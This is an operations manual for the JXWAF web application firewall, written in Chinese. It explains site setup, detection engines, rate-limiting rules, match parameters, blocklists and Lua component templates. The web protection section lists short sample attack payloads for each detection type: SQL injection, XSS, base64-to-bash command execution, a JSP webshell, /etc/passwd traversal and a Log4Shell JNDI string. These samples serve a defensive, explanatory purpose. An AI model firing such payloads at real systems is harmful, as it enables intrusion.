操作指南
网站配置
新增分组
配置项 | 说明 |
---|---|
分组名称 | 必填,用于标识分组 |
分组描述 | 选填,描述分组用途 |
统一管理 | 开启/关闭。开启后分组内所有网站使用统一防护配置 |
CNAME配置 | 选择不配置 需手动解析IP;选择配置 则提供CNAME域名接入 |
新增网站
域名/IP格式示例:
1.1.1.1
1.1.1.1:8000
demo.jxwaf.com
*.jxwaf.com:8000
配置项 | 说明 |
---|---|
域名/IP | 支持通配符和端口号 |
协议类型 | HTTP/HTTPS(HTTPS需提前配置SSL证书) |
源站地址 | 支持多地址,格式:www.jxwaf.com 或 1.1.1.1 |
回源协议 | 需与源站端口匹配(80→http,443→https) |
负载均衡 | IP_HASH (会话保持)或 轮询 |
强制HTTPS跳转 | 需同时开启HTTP和HTTPS协议 |
WAF前存在代理 | 开启后从X-Real-IP 或X-Forwarded-For 获取真实IP |
Web防护引擎
- SQL 注入攻击防护
攻击 payload 例子: if(lower(database())>'a',1,0)
- XSS 攻击防护
攻击 payload 例子: <script>alert("TEST");</script>
- 命令执行攻击防护
攻击 payload 例子: ;echo "Y2F0IGZsYWc="|base64 -d|bash
- 代码执行攻击防护
攻击 payload 例子: new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
- WebShell 上传防护
攻击 payload 例子: <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
- 敏感文件泄露防护
攻击 payload 例子: http://1.1.1.1/a.bak
- 路径穿越防护
攻击 payload 例子: '/static/img/../../etc/passwd'
- 高危 Nday 防护
攻击 payload 例子: ${jndi:ldap://172.16.238.11:1389/a}
- 防护状态说明
开启状态下,检测到攻击会返回默认拦截页面,可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。观察状态下,仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情
流量防护引擎
IP请求次数检测
经过时间 (秒)
IP请求数量超过
IP处罚执行动作
IP处罚持续时间(秒)
设置 经过时间 (秒) 为 60,IP请求数量超过 100。则同一IP在60秒内,发起的请求数量超过100,即判定检测成功。之后在 IP处罚持续时间(秒) 的设定时间内,任何该IP的请求,都会触发 IP处罚执行动作,直到处罚持续时间结束。
请求IP数量检测
统计时间(秒)
请求IP数量限制
超出限制的IP执行动作
在统计时间内(秒),请求的 IP 数量超过限定值,超出 IP 的请求将被处置。设置 请求 IP 数量限制设置为 1000,统计时间设置为 60,则在 60 秒内,请求的 IP 数量超过 1000,超出的 IP 将触发处置
无差别紧急防护
开启后,所有请求都会无条件触发处置,适合网站已经被攻击且业务不可用的情况下紧急开启。可配置人机识别进行处置,快速拦截异常流量,正常用户通过人机识别验证后可正常防护业务。
执行动作说明
- 阻断请求
拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。
- 拒绝响应
服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。
- 人机识别
标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。
滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。
图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。
- 网络封禁
需要设置 网络封禁持续时间(秒),在持续时间内,将在网络层封禁攻击IP,具体封禁IP可以通过 运营中心 -> 网络封禁黑名单 查看
- 观察模式
仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情
规则引擎配置
请求内容例子
POST /waf/waf_get_domain_list?test=a&test2=b HTTP/1.1
Host: demo.jxwaf.com:8000
Content-Length: 10
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://demo.jxwaf.com:8000
Referer: http://demo.jxwaf.com:8000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: sessionid=ie7l7u89zeqf93syv4jvolhr0ljgngn5
Connection: close
{"page":1}
匹配参数
匹配参数选项 | 获取数据说明 |
---|---|
http_args:path | /waf/waf_get_domain_list |
http_args:query_string | test=a&test2=b |
http_args:method | POST |
http_args:src_ip | 1.1.1.1 |
http_args:raw_body | {"page":1} |
http_args:version | 1.1 |
http_args:scheme | HTTP |
http_args:raw_header | 获取原始 header 内容 |
header_args:host | demo.jxwaf.com:8000 |
header_args:cookie | sessionid=ie7l7u89zeqf93syv4jvolhr0ljgngn5 |
header_args:referer | http://demo.jxwaf.com:8000/ |
header_args:user_agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 |
header_args: | 获取指定的 header 值,例如这里输入 header_args:Accept-Encoding,则返回 "gzip, deflate, br" |
cookie_args: | 获取指定的 cookie 值,例如这里输入 cookie_args:sessionid,则返会"ie7l7u89zeqf93syv4jvolhr0ljgngn5" |
uri_args: | 获取指定的查询字符串参数的值,例如输入 uri_args:test ,则返回 “a” |
post_args: | 获取指定的请求体参数的值,假如请求体的内容为 page=1&number=2,则输入 post_args:number,则返回 "2" |
json_post_args: | 获取指定的请求体参数的值,例如输入 json_post_args:page ,则返回 “1” |
ctx_args: | 获取基础组件中用户自定义参数值 |
global_name_list_result: | 获取名单防护功能中名单的匹配结果 |
参数处理
参数处理选项 | 处理说明 |
---|---|
不处理 | 不进行处理,获取数据为 "a",则返回"a" |
小写处理 | 获取数据为"AbcdEf",则返回“abcdef” |
BASE64 解码 | 获取数据为"QWJjZEVm",则返回"AbcdEf",如果解码失败,则返回 nil |
长度计算 | 获取数据为"AbcdEf",则返回“6” |
URL 解码 | 获取数据为"test%3Da%26test2%3Db",则返回"test=a&test2=b" |
UNICODE 解码 | 获取数据为"\u0073\u0073\u0073\u0061\u0061",则返回"sssaa" |
十六进制解码 | 获取数据为"\x61\x61\x61\x62\x62\x62",则返回"aaabbb" |
匹配方式
匹配方式选项 | 匹配说明 |
---|---|
后缀匹配 | 获取数据为"AbcdEf",后缀匹配"cdEf"成功,后缀匹配"aaaa"失败 |
包括 | 获取数据为"AbcdEf", 包括匹配"cdE"成功,包括匹配"aaaa"失败 |
不包括 | 获取数据为"AbcdEf", 不包括匹配"aaaa"成功,不包括匹配"dEf"失败 |
等于 | 获取数据为"AbcdEf", 等于匹配"AbcdEf"成功,等于匹配"dEf"失败 |
不等于 | 获取数据为"AbcdEf", 不等于匹配"dEf"成功,不等于匹配"AbcdEf"失败 |
数字大于 | 获取数据为"6", 数字大于匹配“10”成功,数字大于匹配“4”失败。获取数据为"qqq",数字大于匹配“10”失败 |
数字小于 | 获取数据为"6", 数字小于匹配“4”成功,数字小于匹配“10”失败。获取数据为"qqq",数字小于匹配“10”失败 |
数字等于 | 获取数据为"6", 数字等于匹配“6”成功,数字等于匹配“10”失败。获取数据为"qqq",数字等于匹配“10”失败 |
数字不等于 | 获取数据为"6", 数字不等于匹配“5”成功,数字不等于匹配“6”失败。获取数据为"qqq",数字不等于匹配“10”失败 |
参数存在判断 | 判断参数是否存在,只有两个选项,参数存在 和 参数不存在 |
执行动作
- 阻断请求
拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。
- 拒绝响应
服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。
- 人机识别
标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。
滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。
图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。
- 网络封禁
需要设置 网络封禁持续时间(秒),在持续时间内,将在网络层封禁攻击IP,具体封禁IP可以通过 运营中心 -> 网络封禁黑名单 查看
- 观察模式
仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情
- Web 安全防护加白
加白所有 Web 安全防护模块,后续检测流程中的 Web 安全防护模块都会直接跳过,不会执行检测和处置。
- 流量安全防护加白
加白所有流量安全防护模块,后续检测流程中的流量安全防护模块都会直接跳过,不会执行检测和处置。
扫描攻击防护
规则名称
规则详情
防护模块
选择 Web防护引擎 或者 Web防护规则 中的选项,可以新增多个,之间是或的关系,任意一个匹配即可
- 统计对象
选择要统计的攻击实体,例如 可以选择 IP ,或者 Cookie中的session等标识攻击者的字段
经过时间(秒)
攻击次数超过
IP处罚方式
IP处罚时间
配置例子如下:
防护模块 Web防护引擎:SQL注入防护
统计对象 http_args:src_ip
经过时间(秒) 600
攻击次数超过 100
IP处罚方式 阻断请求
IP处罚时间 3600
同一IP地址,在600秒内,发起超过100次SQL注入攻击后,将被阻断请求3600秒
网站防篡改
规则名称
规则详情
规则匹配
页面地址
输入需要防篡改防护的页面地址,例如jxwaf网站首页 https://www.jxwaf.com ,点击 获取页面内容 按钮即可获取页面内容
- 内容类型
当规则匹配成功后,WAF会直接返回设置的页面内容,而不会通过回源的方式获取,进而达到页面防篡改的效果
流量防护规则
规则名称
规则详情
规则匹配
统计对象
选择要统计的攻击实体,例如 可以选择 IP ,或者 Cookie中的session等标识攻击者的字段
经过时间(秒)
请求次数超过
IP处罚方式
IP处罚持续时间(秒)
配置例子如下:
规则匹配 关闭
统计对象 http_args:src_ip + http_args:path
经过时间(秒) 60
攻击次数超过 100
IP处罚方式 阻断请求
IP处罚时间 3600
同一IP地址,针对同一个URI,在60秒内,发起超过100次请求后,将被阻断请求3600秒
如果同一IP地址,访问不同的URI,在60秒内,发起超过100次请求,则不符合规则匹配条件,不会触发IP处罚
IP 区域封禁
开启后,需要配置 IP 白名单区域,将根据 IP 归属的国家或地区进行检测,非白名单区域的 IP 发起请求将进行处置。例如,开启后选择白名单区域为中国大陆,那么 IP: 43.133.32.222 访问的时候,因为 IP 的归属是新加坡,请求将触发执行动作进行处置。
IP黑名单
IP地址
描述
过期时间(秒)
可以设置永久生效 或者 输入具体的过期时间,例如 600 ,则 600秒后记录过期自动删除
- 执行动作
名单防护
名单名称
名单描述
过期时间(秒)
默认永久生效,可自定义过期时间,当超过过期时间,会自动删除过期的条目
- 匹配参数
详情参考规则配置,支持多个组合。例如 业务场景需要封禁某些 IP 访问特定域名,那么可以设置 header_args:host 加上 http_args:src_ip ,假如域名是 www.test.com ,访问 IP 是 1.1.1.1 那么条目可以写入 “www.test.com1.1.1.1”,即可实现禁止特定IP访问特定域名的效果
- 执行动作
1、阻断请求
拦截请求,返回默认拦截页面。可以在 系统配置 -> 拦截页面配置 中配置自定义拦截页面。
2、拒绝响应
服务器不返回任何数据给客户端。适合 CC 防护场景,可以避免出口带宽被打满的情况。
3、人机识别
标准模式无需人机交互,通过 CC 防护专用的人机识别算法,快速识别当前环境是否为正常用户浏览器环境。可以简单理解为 5 秒盾。
滑块模式,在标准模式的基础上,增加滑块认证,当滑块认证通过后,会在进行一次标准模式的人机识别。
图片验证码模式,在标准模式的基础上,增加图片验证码认证,当图片验证码认证通过后,会在进行一次标准模式的人机识别。
4、网络封禁
需要设置 网络封禁持续时间(秒),在持续时间内,将在网络层封禁攻击IP,具体封禁IP可以通过 运营中心 -> 网络封禁黑名单 查看
5、观察模式
仅记录日志不拦截,日志可以在 运营中心 -> 日志查询 中查看详情
6、安全防护全加白
加白所有安全防护模块,后续检测流程中的安全防护模块都会直接跳过,不会执行检测和处置
7、Web 安全防护加白
加白所有 Web 安全防护模块,后续检测流程中的 Web 安全防护模块都会直接跳过,不会执行检测和处置。
8、流量安全防护加白
加白所有流量安全防护模块,后续检测流程中的流量安全防护模块都会直接跳过,不会执行检测和处置。
基础组件
组件名称
组件描述
CODE
组件代码,需要将lua代码base64编码后输入
- 默认配置
json格式,将通过 conf_data 传入组件
模版如下
local _M = {}
local cjson = require "cjson.safe"
function _M.check(conf_data)
if conf_data == nil then
return
end
return
end
return _M
分析组件
组件名称
组件描述
CODE
组件代码,需要将lua代码base64编码后输入
- 默认配置
json格式,将通过 conf_data 传入组件
模版如下,相比基础组件,可以通过 name_list_item_data 传入名单防护中的条目数据
local _M = {}
local cjson = require "cjson.safe"
function _M.check(conf_data,name_list_item_data)
if conf_data == nil then
return
end
local test_name_list_data = name_list_item_data['test_name_list']
return
end
return _M
SSL证书管理
申请通配符证书
- DNS服务提供商
选择域名解析托管的DNS服务提供商,目前支持阿里云,腾讯云,Cloudfare,选择后输入相对应的鉴权凭证
- 证书申请域名
需要申请的通配符域名,例如 *.jxwaf.com 或者 *.api.jxwaf.com
- 证书自动更新
申请大概需要1分钟时间,请稍后查看,申请的是Let's Encrypt证书,默认为90天有效期,通过DNS验证的方式进行申请
上传SSL证书
- SSL证书域名
建议输入证书域名,例如 www.jxwaf.com 或者 *.jxwaf.com
描述
公钥
需要携带完整的证书链数据
- 私钥
CNAME配置管理
CNAME配置名称
CNAME配置描述
DNS服务提供商
选择域名解析托管的DNS服务提供商,目前支持阿里云,腾讯云,Cloudfare,选择后输入相对应的鉴权凭证
- 域名
用于提供CNAME配置的主域名,例如 jxwaftest.shop
- 节点IP
输入防护节点的IP地址
- TTL
日志传输
- 本地调试
临时调试时开启,仅对处置请求生效,仅记录部分关键数据
- 远程日志记录
通过TCP传输日志数据,日志数据为json格式
日志服务器地址
日志服务器端口
全流量日志记录
记录请求返回内容
日志查询
日志查询配置
ClickHouse服务器地址
ClickHouse服务器端口
端口默认为9004,即ClickHouse的MySQL兼容查询端口
用户名
密码
数据库名称
WebTDS检测配置
- WebTDS检测
对接WebTDS进行深度分析,当有多个分析节点时,需要通过基础组件/分析组件来进行配置
节点服务器IP
节点服务器端口